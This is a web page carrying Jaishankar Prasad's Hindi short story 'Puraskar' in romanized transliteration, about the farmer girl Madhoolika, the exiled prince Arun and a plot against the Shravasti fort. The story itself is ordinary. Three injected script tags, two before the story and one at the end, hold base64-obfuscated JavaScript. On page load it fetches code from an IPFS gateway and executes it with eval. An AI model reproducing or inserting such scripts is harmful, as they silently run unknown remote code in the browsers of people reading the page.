पुरस्कार -जयशंकर प्रसाद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ardra nakshatr; akash mean kale-kale badaloan ki ghum d, jisamean dev-dundubhi ka gambhir ghosh. prachi ke ek nirabhr kone se svarn-purush jhaankane laga tha.-dekhane laga maharaj ki savari. shailamala ke anchal mean samatal urvara bhoomi se soandhi bas uth rahi thi. nagar-toran se jayaghosh hua, bhi d mean gajaraj ka chamaradhari shund unnat dikhayi p da. vah harsh aur utsah ka samudr hilor bharata hua age badhane laga.

prabhat ki hem-kiranoan se anuranjit nanhi-nanhi booandoan ka ek jhoanka svarn-mallika ke saman baras p da. mangal soochana se janata ne harsh-dhvani ki.

rathoan, hathiyoan aur ashvarohiyoan ki pankti jam gee. darshakoan ki bhi d bhi kam n thi. gajaraj baith gaya, sidhiy़oan se maharaj utare. saubhagyavati aur kumari sundariyoan ke do dal, amrapallavoan se sushobhit mangal-kalash aur phool, kuankum tatha khiloan se bhare thal lie, madhur gan karate hue age badhe.

maharaj ke mukh par madhur muskyan thi. purohit-varg ne svastyayan kiya. svarn-ranjit hal ki mooth pak d kar maharaj ne jute hue sundar pusht bailoan ko chalane ka sanket kiya. baje bajane lage. kishori kumariyoan ne khiloan aur phooloan ki varsha ki.

koshal ka yah utsav prasiddh tha. ek din ke lie maharaj ko krishak banana p data-us din iandr-poojan ki dhoom-dham hoti; goth hoti. nagar-nivasi us paha di bhoomi mean anand manate. prativarsh krishi ka yah mahotsav utsah se sampann hota; doosare rajyoan se bhi yuvak rajakumar is utsav mean b de chav se akar yog dete.

magadh ka ek rajakumar arun apane rath par baitha b de kutoohal se yah drishy dekh raha tha.

bijoan ka ek bal liye kumari madhoolika maharaj ke sath thi. bij bote hue maharaj jab hath badhate, tab madhoolika unake samane thal kar deti. yah khet madhoolika ka tha, jo is sal maharaj ki kheti ke lie chuna gaya tha; isalie bij dene ka samman madhoolika hi ko mila. vah kumari thi. sundari thi. kausheyavasan usake sharir par idhar-udhar laharata hua svayan shobhit ho raha tha. vah kabhi use samhalati aur kabhi apane rookhe alakoan ko. krishak balika ke shubhr bhal par shramakanoan ki bhi kami n thi, ve sab barauniyoan mean guanthe ja rahe the. samman aur lajja usake adharoan par mand muskarahat ke sath sihar uthate; kintu maharaj ko bij dene mean usane shithilata nahian ki. sab log maharaj ka hal chalana dekh rahe the-vismay se, kutoohal se. aur arun dekh raha tha krishak kumari madhoolika ko. aha kitana bhola saundary! kitani saral chitavan!

utsav ka pradhan krity samapt ho gaya. maharaj ne madhoolika ke khet ka puraskar diya, thal mean kuchh svarn mudraean. vah rajakiy anugrah tha. madhoolika ne thali sir se laga li; kintu sath usamean ki svarnamudraoan ko maharaj par nyochhavar karake bikher diya. madhoolika ki us samay ki oorjasvit moorti log ashchary se dekhane lage! maharaj ki bhrikuti bhi jara chadhi hi thi ki madhoolika ne savinay kaha-

dev! yah mere pitri-pitamahoan ki bhoomi hai. ise bechana aparadh hai; isalie mooly svikar karana meri samathry ke bahar hai. maharaj ke bolane ke pahale hi vriddh mantri ne tikhe svar se kaha-abodh! kya bak rahi hai? rajakiy anugrah ka tiraskar! teri bhoomi se chauguna mooly hai; phir koshal ka to yah sunishchit rashtriy niyam hai. too aj se rajakiy rakshan pane ki adhikarini huee, is dhan se apane ko sukhi bana.

rajakiy rakshan ki adhikarini to sari praja hai, mantrivar! .... maharaj ko bhoomi-samarpan karane mean to mera koee virodh n tha aur n hai; kintu mooly svikar karana asambhav hai.-madhoolika uttejit ho uthi.

maharaj ke sanket karane par mantri ne kaha-dev! varanasi-yuddh ke anyatam vir sianhamitr ki yah ek-matr kanya hai.-maharaj chauank uthe-sianhamitr ki kanya! jisane magadh ke samane koshal ki laj rakh li thi, usi vir ki madhoolika kanya hai?

haan, dev! -savinay mantri ne kaha.

is utsav ke paramparagat niyam kya haian, mantrivar?-maharaj ne poochha.

dev, niyam to bahut sadharan haian. kisi bhi achchhi bhoomi ko is utsav ke lie chunakar niyamanusar puraskar-svaroop usaka mooly de diya jata hai. vah bhi atyant anugrahapoorvak arthath bhoo-sampatti ka chauguna mooly use milata hai. us kheti ko vahi vyakti varsh bhar dekhata hai. vah raja ka khet kaha jata hai.

maharaj ko vichar-sangharsh se vishram ki atyant avashyakata thi. maharaj chup rahe. jayaghosh ke sath sabha visarjit huee. sab apane-apane shiviroan mean chale gaye. kintu madhoolika ko utsav mean phir kisi ne n dekha. vah apane khet ki sima par vishal madhook-vriksh ke chikane hare pattoan ki chhaya mean anamani chupachap baithi rahi.

ratri ka utsav ab vishram le raha tha. rajakumar arun usamean sammilit nahian hua-apane vishram-bhavan mean jagaran kar raha tha. aankhoan mean niand n thi. prachi mean jaisi gulali khil rahi thi, vah rang usaki aankhoan mean tha. samane dekha to munder par kapoti ek pair par kh di pankh phailaye aang daee le rahi thi. arun uth kh da hua. dvar par susajjit ashv tha, vah dekhate-dekhate nagar-toran par ja pahuancha. rakshak-gan ooangh rahe the, ashv ke pairoan ke shabd se chauank uthe.

yuvak-kumar tir-sa nikal gaya. sindhudesh ka turang prabhat ke pavan se pulakit ho raha tha. ghoomata-ghoomata arun usi madhook-vriksh ke niche pahuancha, jahaan madhoolika apane hath par sir dhare hue khinn-nidra ka sukh le rahi thi.

arun ne dekha, ek chhinn madhavilata vriksh ki shakha se chyut hokar p di hai. suman mukulit, bhramar nispand the. arun ne apane ashv ko maun rahane ka sanket kiya, us sushama ko dekhane lie, parantu kokil bol utha. jaise usane arun se prashn kiya-chhi:, kumari ke soye hue saundary par drishtipat karanevale dhrisht, tum kaun? madhoolika ki aankhe khul p dian. usane dekha, ek aparichit yuvak. vah sankoch se uth baithi. -bhadre! tumhian n kal ke utsav ki sanchalika rahi ho?

utsav! haan, utsav hi to tha.

kal us samman....

kyoan apako kal ka svapn sata raha hai? bhadr! ap kya mujhe is avastha mean santusht n rahane deange?

mera hriday tumhari us chhavi ka bhakt ban gaya hai, devi!

mere us abhinay ka-meri vidambana ka. ah! manushy kitana nirday hai, aparichit! kshama karo, jao apane marg.

saralata ki devi! maian magadh ka rajakumar tumhare anugrah ka prarthi hooan-mere hriday ki bhavana avagunthan mean rahana nahian janati. use apani.....

rajakumar! maian krishak-balika hooan. ap nandanabihari aur maian prithvi par parishram karake jinevali. aj meri sneh ki bhoomi par se mera adhikar chhin liya gaya hai. maian du:kh se vikal hooan; mera upahas n karo.

maian koshal-naresh se tumhari bhoomi tumhean dilava dooanga.

nahian, vah koshal ka rashtriy niyam hai. maian use badalana nahian chahati-chahe usase mujhe kitana hi du:kh ho.

tab tumhara rahasy kya hai?

yah rahasy manav-hriday ka hai, mera nahian. rajakumar, niyamoan se yadi manav-hriday badhy hota, to aj magadh ke rajakumar ka hriday kisi rajakumari ki or n khianch kar ek krishak-balika ka apaman karane n ata. madhoolika uth kh di huee.

chot khakar rajakumar laut p da. kishor kiranoan mean usaka ratnakirit chamak utha. ashv veg se chala ja raha tha aur madhoolika nishthur prahar karake kya svayan ahat n huee? usake hriday mean tis-si hone lagi. vah sajal netroan se u dati huee dhool dekhane lagi.

madhoolika ne raja ka pratipadan, anugrah nahian liya. vah doosare khetoan mean kam karati aur chauthe pahar rookhi-sookhi khakar p d rahati. madhook-vriksh ke niche chhoti-si parnakutir thi. sookhe danthaloan se usaki divar bani thi. madhoolika ka vahi ashray tha. kathor parishram se jo rookha ann milata, vahi usaki saansoan ko badhane ke lie paryapt tha.

dubali hone par bhi usake aang par tapasya ki kanti thi. as-pas ke krishak usaka adar karate. vah ek adarsh balika thi. din, saptah, mahine aur varsh bitane lage.

shitakal ki rajani, meghoan se bhara akash, jisamean bijali ki dau d-dhoop. madhoolika ka chhajan tapak raha tha! odhऩe ki kami thi. vah thithurakar ek kone mean baithi thi. madhoolika apane abhav ko aj badhakar soch rahi thi. jivan se samanjasy banaye rakhane vale upakaran to apani sima nirdharit rakhate haian; parantu unaki avashyakata aur kalpana bhavana ke sath badhati-ghatati rahati hai. aj bahut dinoan par use biti huee bat smaran huee. do, nahian-nahian, tin varsh hue hoange, isi madhook ke niche prabhat mean-tarun rajakumar ne kya kaha tha?

vah apane hriday se poochhane lagi-un chatukari ke shabdoan ko sunane ke lie utsuk-si vah poochhane lagi-kya kaha tha? du:kh-dagdh hriday un svapn-si batoan ko smaran rakh sakata tha? aur smaran hi hota, to bhi kashtoan ki is kali nisha mean vah kahane ka sahas karata. hay ri bidambana!

aj madhoolika us bite hue kshan ko lauta lene ke lie vikal thi. daridray ki thokaroan ne use vyathit aur adhir kar diya hai. magadh ki prasad-mala ke vaibhav ka kalpanik chitr-un sookhe danthaloan ke randhroan se, nabh mean-bijali ke alok mean-nachata hua dikhaee dene laga. khilava di shishu jaise shravan ki sandhya mean juganoo ko pak dane ke lie hath lapakata hai, vaise hi madhoolika man-hi-man kar rahi thi. ‘abhi vah nikal gaya’. varsha ne bhishan roop dharan kiya. g dag dahat badhane lagi; ole p dane ki sambhavana thi. madhoolika apani jarjar jhop di ke lie kaanp uthi. sahasa bahar kuchh shabd hua-

kaun hai yahaan? pathik ko ashray chahie.

madhoolika ne danthaloan ka kapat khol diya. bijali chamak uthi. usane dekha, ek purush gho de ki dor pak de kh da hai. sahasa vah chilla uthi-rajakumar!

madhoolika?-ashchary se yuvak ne kaha.

ek kshan ke lie sannata chha gaya. madhoolika apani kalpana ko sahasa pratyaksh dekhakar chakit ho gee -itane dinoan ke bad aj phir!

arun ne kaha-kitana samajhaya maianne-parantu.....

madhoolika apani dayaniy avastha par sanket karane dena nahian chahati thi. usane kaha-aur aj apaki yah kya dasha hai?

sir jhukakar arun ne kaha-maian magadh ka vidrohi nirvasit koshal mean jivika khojane aya hooan.

madhoolika us andhakar mean hans p di-magadh ka vidrohi rajakumar ka svagat kare ek anathini krishak-balika, yah bhi ek vidambana hai, to bhi maian svagat ke lie prastut hooan.

shitakal ki nistabdh rajani, kuhare se dhuli huee chaandani, ha d kanpa denevala samir, to bhi arun aur madhoolika donoan paha di gahvar ke dvar par vat-vriksh ke niche baithe hue batean kar rahe haian. madhoolika ki vani mean utsah tha, kintu arun jaise atyant savadhan hokar bolata.

madhoolika ne poochha-jab tum itani vipann avastha mean ho, to phir itane sainikoan ko sath rakhane ki kya avashyakata hai?

madhoolika! bahubal hi to viroan ki ajivika hai. ye mere jivan-maran ke sathi haian, bhala maian inhean kaise chho d deta? aur karata hi kya?

kyoan? ham log parishram se kamate aur khate. ab to tum....

bhool n karo, maian apane bahubal par bharosa karata hooan. naye rajy ki sthapana kar sakata hooan. nirash kyoan ho jaooan?-arun ke shabdoan mean kampan tha; vah jaise kuchh kahana chahata tha; par kah n sakata tha.

navin rajy! oho, tumhara utsah to kam nahian. bhala kaise? koee dhang batao, to maian bhi kalpana ka anand le looan.

kalpana ka anand nahian madhoolika, maian tumhe rajarani ke samman mean sianhasan par bithaooanga! tum apane chhine hue khet ki chinta karake bhayabhit n ho.

ek kshan mean saral madhoolika ke man mean pramad ka andh d bahane laga-dvandv mach gaya. usane sahasa kaha-ah, maian sachamuch aj tak tumhari pratiksha karati thi, rajakumar!

arun dhithaee se usake hathoan ko dabakar bola-to mera bhram tha, tum sachamuch mujhe pyar karati ho?

yuvati ka vakshasthal phool utha, vah haan bhi nahian kah saki, na bhi nahian. arun ne usaki avastha ka anubhav kar liya. kushal manushy ke saman usane avasar ko hath se n jane diya. turant bol utha-tumhari ichchha ho, to pranoan se pan lagakar maian tumhean is koshal-sianhasan par bitha dooan. madhoolike! arun ke khadg ka atank dekhogi?-madhoolika ek bar kaanp uthi. vah kahana chahati thi...nahian; kintu usake muanh se nikala-kya?

saty madhoolika, koshal-naresh tabhi se tumhare lie chintit haian. yah maian janata hooan, tumhari sadharan-si prarthana vah asvikar n kareange. aur mujhe yah bhi vidit hai ki koshal ke senapati adhikaansh sainiko ke sath paha di dasyuoan ka daman karane ke lie bahut door chale gaye haian.

madhoolika ki aankhoan ke age bijaliyaan hansane lagi. darun bhavana se usaka mastak vikrit ho utha. arun ne kaha-tum bolati nahian ho?

jo kahoge, vah karooangi....mantramugdh-si madhoolika ne kaha.

svarnamanch par koshal-naresh arddhanidrit avastha mean aankhe mukulit kiye haian. ek chamadharini yuvati pichhe kh di apani kalaee b di kushalata se ghuma rahi hai. chamar ke shubhr andolan us prakoshth mean dhire-dhire sanchalit ho rahe haian. tambool-vahini pratima ke saman door kh di hai.

pratihari ne akar kaha-jay ho dev! ek stri kuchh prarthana lekar aee hai.

aankh kholate hue maharaj ne kaha-stri! prarthana karane aee? ane do.

pratihari ke sath madhoolika aee. usane pranam kiya. maharaj ne sthir drishti se usaki or dekha aur kaha-tumhean kahian dekha hai?

tin baras hue dev! meri bhoomi kheti ke lie li gee thi.

oh, to tumane itane din kasht mean bitaye, aj usaka mooly maangane aee ho, kyoan? achchha-achchha tumhean milega. pratihari!

nahian maharaj, mujhe mooly nahian chahie.

moorkh! phir kya chahie?

utani hi bhoomi, durg ke dakshini nale ke samip ki jangali bhoomi, vahian maian apani kheti karooangi. mujhe ek sahayak mil gaya hai. vah manushyoan se meri sahayata karega, bhoomi ko samatal bhi banana hoga.

maharaj ne kaha-krishak balike! vah b di ub d-khab d bhoomi hai. tis par vah durg ke samip ek sainik mahatv rakhati hai.

to phir nirash laut jaooan?

sianhamitr ki kanya! maian kya karooan, tumhari yah prarthana....

dev! jaisi ajna ho!

jao, tum shramajiviyoan ko usamean lagao. maian amaty ko ajnapatr dene ka adesh karata hooan.

jay ho dev!-kahakar pranam karati huee madhoolika rajamandir ke bahar aee.

durg ke dakshin, bhayavane nale ke tat par, ghana jangal hai, aj manushyoan ke pad-sanchar se shoonyata bhang ho rahi thi. arun ke chhipe ve manushy svatantrata se idhar-udhar ghoomate the. jha diyoan ko kat kar path ban raha tha. nagar door tha, phir udhar yoan hi koee nahian ata tha. phir ab to maharaj ki ajna se vahaan madhoolika ka achchha-sa khet ban raha tha. tab idhar ki kisako chinta hoti?

ek ghane kunj mean arun aur madhoolika ek doosare ko harshit netroan se dekh rahe the. sandhya ho chali thi. us nivi d van mean un navagat manushyoan ko dekhakar pakshigan apane ni d ko lautate hue adhik kolahal kar rahe the.

prasannata se arun ki aankhe chamak uthian. soory ki antim kiran jhuramut mean ghusakar madhoolika ke kapoloan se khelane lagi. arun ne kaha-char prahar aur, vishvas karo, prabhat mean hi is jirn-kalevar koshal-rashtr ki rajadhani shravasti mean tumhara abhishek hoga aur magadh se nirvasit maian ek svatantr rashtr ka adhipati banooanga, madhoolike!

bhayanak! arun, tumhara sahas dekhakar maian chakit ho rahi hooan. keval sau sainikoan se tum...

rat ke tisare prahar meri vijay-yatra hogi.

to tumako is vijay par vishvas hai?

avashy, tum apani jhop di mean yah rat bitao; prabhat se to raj-mandir hi tumhara lila-niketan banega.

madhoolika prasann thi; kintu arun ke lie usaki kalyan-kamana sashank thi. vah kabhi-kabhi udvign-si hokar balakoan ke saman prashn kar baithati. arun usaka samadhan kar deta. sahasa koee sanket pakar usane kaha-achchha, andhakar adhik ho gaya. abhi tumhean door jana hai aur mujhe bhi pran-pan se is abhiyan ke prarambhik karyoan ko arddharatri tak poora kar lena chahie; tab ratri bhar ke lie vida! madhoolike!

madhoolika uth kh di huee. kantili jha diyoan se ulajhati huee kram se, badhanevale andhakar mean vah jhop di ki or chali.

path andhakaramay tha aur madhoolika ka hriday bhi nivi d-tam se ghira tha. usaka man sahasa vichalit ho utha, madhurata nasht ho gee. jitani sukh-kalpana thi, vah jaise andhakar mean vilin hone lagi. vah bhayabhit thi, pahala bhay use arun ke lie utpann hua, yadi vah saphal n hua to? phir sahasa sochane lagi-vah kyoan saphal ho? shravasti durg ek videshi ke adhikar mean kyoan chala jay? magadh ka chirashatru! oh, usaki vijay! koshal-naresh ne kya kaha tha-‘sianhamitr ki kanya.’ sianhamitr, koshal ka rakshak vir, usi ki kanya aj kya karane ja rahi hai? nahian, nahian, madhoolika! madhoolika!!’ jaise usake pita us andhakar mean pukar rahe the. vah pagali ki tarah chilla uthi. rasta bhool gee.

rat ek pahar bit chali, par madhoolika apani jhop di tak n pahuanchi. vah udhe dabun mean vikshipt-si chali ja rahi thi. usaki aankhoan ke samane kabhi sianhamitr aur kabhi arun ki moorti andhakar mean chitrit hoti jati. use samane alok dikhaee p da. vah bich path mean kh di ho gee. pray: ek sau ulkadhari ashvarohi chale a rahe the aur age-age ek vir adhe d sainik tha. usake bayean hath mean ashv ki valga aur dahine hath mean nagn khadg. atyant dhirata se vah tuk di apane path par chal rahi thi. parantu madhoolika bich path se hili nahian. pramukh sainik pas a gaya; par madhoolika ab bhi nahian hati. sainik ne ashv rokakar kaha-kaun? koee uttar nahian mila. tab tak doosare ashvarohi ne s dak par kaha-too kaun hai, stri? koshal ke senapati ko uttar shighr de.

ramani jaise vikar-grast svar mean chilla uthi-baandh lo, mujhe baandh lo! meri hatya karo. maianne aparadh hi aisa kiya hai.

senapati hans p de, bole-pagali hai.

pagali nahian, yadi vahi hoti, to itani vichar-vedana kyoan hoti? senapati! mujhe baandh lo. raja ke pas le chalo.

kya hai, spasht kah!

shravasti ka durg ek prahar mean dasyuoan ke hastagat ho jayega. dakshini nale ke par unaka akraman hoga.

senapati chauank uthe. unhoanne ashchary se poochha-too kya kah rahi hai?

maian saty kah rahi hooan; shighrata karo.

senapati ne assi sainikoan ko nale ki or dhire-dhire badhane ki ajna di aur svayan bis ashvarohiyoan ke sath durg ki or badhe. madhoolika ek ashvarohi ke sath baandh di gee.

shravasti ka durg, koshal rashtr ka kendr, is ratri mean apane vigat vaibhav ka svapn dekh raha tha. bhinn rajavanshoan ne usake prantoan par adhikar jama liya hai. ab vah keval kee gaanvoan ka adhipati hai. phir bhi usake sath koshal ke atit ki svarn-gathaean lipati haian. vahi logoan ki eeshrya ka karan hai. jab tho de se ashvarohi b de veg se ate hue durg-dvar par ruke, tab durg ke prahari chauank uthe. ulka ke alok mean unhoanne senapati ko pahachana, dvar khula. senapati gho de ki pith se utare. unhoanne kaha-agnisen! durg mean kitane sainik hoange?

senapati ki jay ho! do sau .

unhean shighr hi ekatr karo; parantu bina kisi shabd ke. sau ko lekar tum shighr hi chupachap durg ke dakshin ki or chalo. alok aur shabd n hoan.

senapati ne madhoolika ki or dekha. vah khol di gee. use apane pichhe ane ka sanket kar senapati rajamandir ki or badhe. pratihari ne senapati ko dekhate hi maharaj ko savadhan kiya. vah apani sukh-nidra ke liye prastut ho rahe the; kintu senapati aur sath mean madhoolika ko dekhate hi chanchal ho uthe. senapati ne kaha-jay ho dev! is stri ke karan mujhe is samay upasthit hona p da hai.

maharaj ne sthir netroan se dekhakar kaha-sianhamitr ki kanya! phir yahaan kyoan? kya tumhara kshetr nahian ban raha hai? koee badha? senapati! maianne durg ke dakshini nale ke samip ki bhoomi ise di hai. kya usi sambandh mean tum kahana chahate ho?

dev! kisi gupt shatru ne usi or se aj ki rat mean durg par adhikar kar lene ka prabandh kiya hai aur isi stri ne mujhe path mean yah sandesh diya hai.

raja ne madhoolika ki or dekha. vah kaanp uthi. ghrina aur lajja se vah g di ja rahi thi. raja ne poochha-madhoolika, yah saty hai!

haan, dev!

raja ne senapati se kaha-sainikoan ko ekatr karake tum chalo maian abhi ata hooan. senapati ke chale jane par raja ne kaha-sianhamitr ki kanya! tumane ek bar phir koshal ka upakar kiya. yah soochana dekar tumane puraskar ka kam kiya hai. achchha, tum yahian thaharo. pahale un atataeeyoan ka prabandh kar looan.

apane sahasik abhiyan mean arun bandi hua aur durg ulka ke alok mean atiranjit ho gaya. bhi d ne jayaghosh kiya. sabake man mean ullas tha. shravasti-durg aj ek dasyu ke hath mean jane se bacha tha. abal-vriddh-nari anand se unmatt ho uthe.

oosha ke alok mean sabha-mandap darshakoan se bhar gaya. bandi arun ko dekhate hi janata ne rosh se hooankar karate hue kaha-‘vadh karo!’ raja ne sabase sahamat hokar ajna di-‘pran dand.’ madhoolika bulayi gee. vah pagali-si akar kh di ho gee. koshal-naresh ne poochha-madhoolika, tujhe jo puraskar lena ho, maang. vah chup rahi.

raja ne kaha-meri nij ki jitani kheti hai, maian sab tujhe deta hooan. madhoolika ne ek bar bandi arun ki or dekha. usane kaha-mujhe kuchh n chahie. arun hans p da. raja ne kaha-nahian, maian tujhe avashy dooanga. maang le.

to mujhe bhi pranadand mile. kahati huee vah bandi arun ke pas ja kh di huee.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>